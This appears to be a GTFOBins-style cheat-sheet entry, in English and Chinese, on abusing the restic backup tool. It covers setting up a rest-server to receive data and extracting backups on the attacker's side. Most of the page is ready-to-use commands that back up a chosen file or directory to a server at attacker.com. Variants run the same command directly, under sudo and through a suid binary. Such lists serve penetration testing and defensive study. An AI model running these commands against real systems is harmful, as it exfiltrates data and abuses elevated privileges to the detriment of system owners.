.. / restic

The attacker must setup a server to receive the backups, in the following example [rest-server](https://github.com/restic/rest-server/) is used but there are other options. To start a new instance and create a new repository: ```console RPORT=12345 NAME=backup_name ./rest-server --listen ":$RPORT" restic init -r "rest:http://localhost:$RPORT/$NAME" ``` To extract the data from the restic repository in the current directory on the attacker side: ```console restic restore -r "/tmp/restic/$NAME" latest --target . ``` Upload data to the attacker server with the following commands.

file-upload

上传文件到外部。

RHOST=attacker.com
RPORT=12345
LFILE=file_or_dir_to_get
NAME=backup_name
restic backup -r "rest:http://$RHOST:$RPORT/$NAME" "$LFILE"

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

RHOST=attacker.com
RPORT=12345
LFILE=file_or_dir_to_get
NAME=backup_name
sudo restic backup -r "rest:http://$RHOST:$RPORT/$NAME" "$LFILE"

suid

suid是一种授予文件的权限类型，它允许用户使用者以文件所有者的权限来执行文件。

RHOST=attacker.com
RPORT=12345
LFILE=file_or_dir_to_get
NAME=backup_name
./restic backup -r "rest:http://$RHOST:$RPORT/$NAME" "$LFILE"